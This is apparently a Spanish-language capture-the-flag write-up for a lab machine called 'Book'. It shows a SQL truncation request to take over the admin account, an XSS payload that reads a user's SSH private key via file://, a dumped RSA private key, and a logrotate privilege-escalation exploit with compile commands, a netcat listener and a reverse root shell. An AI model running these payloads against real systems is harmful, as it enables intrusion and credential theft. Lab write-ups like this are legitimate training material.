Resumen:

Aprovechando el ataque denominado SQL Truncation se pudo acceder como admin a la aplicación. Con este acceso y una vulnerabilidad XSS se accedió a información que permitió obtener un terminal con un usuario de bajos privilegios. Para la escalada se utilizó una vulnerabilidad en logrotate.

Punto de Apoyo Inicial

Con algo de enumeración se llega a una aplicación web que tiene un login.

Se creó una cuenta de un usuario test, una vez iniciado sesión se pudo determinar que el correo de admin es [email protected].

Este sitio permite la creación de un usuario, pero al momento de crearlo, el email usado para el inicio de sesión no puede tener más de 23 caracteres, porque la aplicación corta en este número al string de la dirección de correo. Esto es aprovechado para crear una cuenta de admin con un password especificado por nosotros.

Hay más información de este tipo de ataques en este sitio.

https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Creamos un usuario y con burp repetimos la petición con el siguiente cambio.

name=admin&email=admin%40book.htb++++++algo&password=password

Se puede ver que si se ingresa como usuario y se da clic en collections, se pueden subir archivos, estos cuadros de texto permiten insertar scripts que luego pueden ser ejecutados desde la interface de admin, cuando se da clic en collections y en PDF. Para aprovechar esta vulnerabilidad se leyó lo siguiente:

Obtener Ususario

https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html

En el título se ingresa el siguiente script para extraer la llave privada ssh.

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open(«GET»,»file:///home/reader/.ssh/id_rsa»);x.send();</script> 

Con la misma inyección se pudo leer el archivo /etc/passwd lo que permitió que previamente se conozca la existencia del usuario reader.

—–BEGIN RSA PRIVATE KEY—–
MIIEpQIBAAKCAQEA2JJQsccK6fE05OWbVGOuKZdf0FyicoUrrm821nHy
G8m6UNZyRGj77eeYGe/7YIQYPATNLSOpQIue3knhDiEsfR99rMg7FRnV
WxtCK0VlQUwxZ6953D16uxlRH8LXeI6BNAIjF0Z7zgkzRhTYJpKs6M80
ePV8RKoYVWuVRb4nFG1Es0bOj29lu64yWd/j3xWXHgpaJciHKxeNlr8x6
7WaZQ4cjd+yzpOCJw9J91Vi33gv6+KCIzr+TEfzI82+hLW1UGx/13fh20c
75I5d5Holg7ME40BU06Eq0E3EOY6whCPlzndVwIDAQABAoIBAQCs+k
3mxvPeKok6BSsvqJD7aw72FUbNSusbzRWwXjrP8ke/Pukg/OmDETXmtg
McKIrDvq/gVEnNiE47ckXxVZqDVR7jvvjVhkQGRcXWQfgHThhPWHJI+3
tIGcAaz3dTODgDO04Qc33+U9WeowqpOaqg9rWn00vgzOIjDgeGnbzr9E
jhPHFI7usIxmgX8Q2/nx3LSUNeZ2vHK5PMxiyJSQLiCbTBI/DurhMelbFX
7Qd2hMSr7qJVdfCQjkmE3x/L37YQEnQph6lcPzvVGOEGQzkuu4ljFkYz6s
GZYD7sW5AoGBAO89fhOZC8osdYwOAISAk1vjmW9ZSPLYsmTmk3A7jO
E2vk2W5a9R6N5bEb9yvSt378snyrZGWpaIOWJADu+9xpZScZZ9imHHZ
ciqzwDZfSg5QLoe8CV/7sL2nKBRYBQVL6D8SBRPTIR+J/wHRtKt5PkxjA
SRM/Abh5xub6zThrkIRnFgcYEf5CmVJX9IgPnwgWPHGcwUjKEH5pwpe
skGl3dh4M/2Tgl/gYPwUKI4ori5OMRWykGANbLAt+Diz9mA3FQIi26ickg
o5GVjWTOlfEj74k8hC6GjzWHna0pSlBEiAEF6Xt9AoGAZCDjdIZYhdxHsj
Hc5LOGww+NqzB0HtsUprN6YpJ7AR6+YlEcItMl/FOW2AFbkzoNbHT9
hBhBp1ZeeShvWobqjKUxQmbp2W975wKR4MdsihUlpInwf4S2k8J+fVHJ
Pb9n+p0hvtZ9sSA4so/DACsCgYEA1y1ERO6X9mZ8XTQ7IUwfIBFnzqZ2
sMRwcd3TudpHTgLxVa91076cqw8AN78nyPTuDHVwMN+qisOYyfcdwQ
tdBBP0Uv2dafya7bfuRG+USH/QTj3wVen2sxoox/hSxM2iyqv1iJ2LZXndV
5bBLnzECgYEAlLiYGzP92qdmlKLLWS7nPM0YzhbN9q0qC3ztk/+1v8pjj1
y1K/LbqIV3C01ruxVBOV7ivUYrRkxR/u5QbS3WxOnK0FYjlS7UUAc4r0z
nkeaf9obYKsrORVuKKVNFzrWeXcVx+oG3NisSABIprhDfKUSbHzLIR4=
—–END RSA PRIVATE KEY—–

La llave privada se muestra en un formato de pdf y al copiar y pegar para usarla, el formato se dañaba y me daba un error de «formato inválido» por lo que recomiendo usar esta herramienta para darle el formato adecuado.

https://www.samltool.com/format_privatekey.php

Una vez corregido el formato podemos acceder con el usuario reader.

Obtener Root

Una vez dentro del sistema operativo es necesario ver los procesos que se están ejecutando. Para ello se ejecutará pspy64

Se puede ver que cada cierto tiempo aparecen estos procesos:

2020/04/10 17:48:37 CMD: UID=0 PID=7114 | /usr/sbin/logrotate -f /root/log.cfg
2020/04/10 17:48:37 CMD: UID=0 PID=7113 | /bin/sh /root/log.sh

Por lo que se identificó exploits de logrotate y se llegó a este sitio:

https://packetstormsecurity.com/files/154743/Logrotate-3.15.1-Privilege-Escalation.html

En el directorio del usuario reader hay un directorio denominado backups y dentro hay logs, por lo que se puede ejecutar el exploit con esos logs.

Se generó un binario logrotten como indica en el sitio web:

gcc -o logrotten logrotten.c

chmod +x logrotten

Se creó un payloadfile como lo indica en el sitio:

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#php

Ejecutar netcat para la escucha en el puerto 3333

nc -lvp 3333

Por último ejecutar el exploit.

./logrotten -p ./payloadfile /home/reader/backups/access.log

Ahora, para que el log rote se deberá insertar información, de tal manera que llegue al tamaño que indica la configuración y cuando rote, se ejecute el exploit. Para ello ingresaremos cadenas de texto al archivo access.log.

echo «cadena 123» > /home/reader/backups/access.log

Y listo se tiene la shell reversa como root.

connect to [10.10.14.26] from book.htb [10.10.10.176] 58342

# cat /root/.ssh/id_rsa

root@book:~# whoami
root
root@book:~# uname -a
Linux book 5.4.1-050401-generic #201911290555 SMP Fri Nov 29 11:03:47 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
root@book:~# date
Fri Apr 10 17:59:03 UTC 2020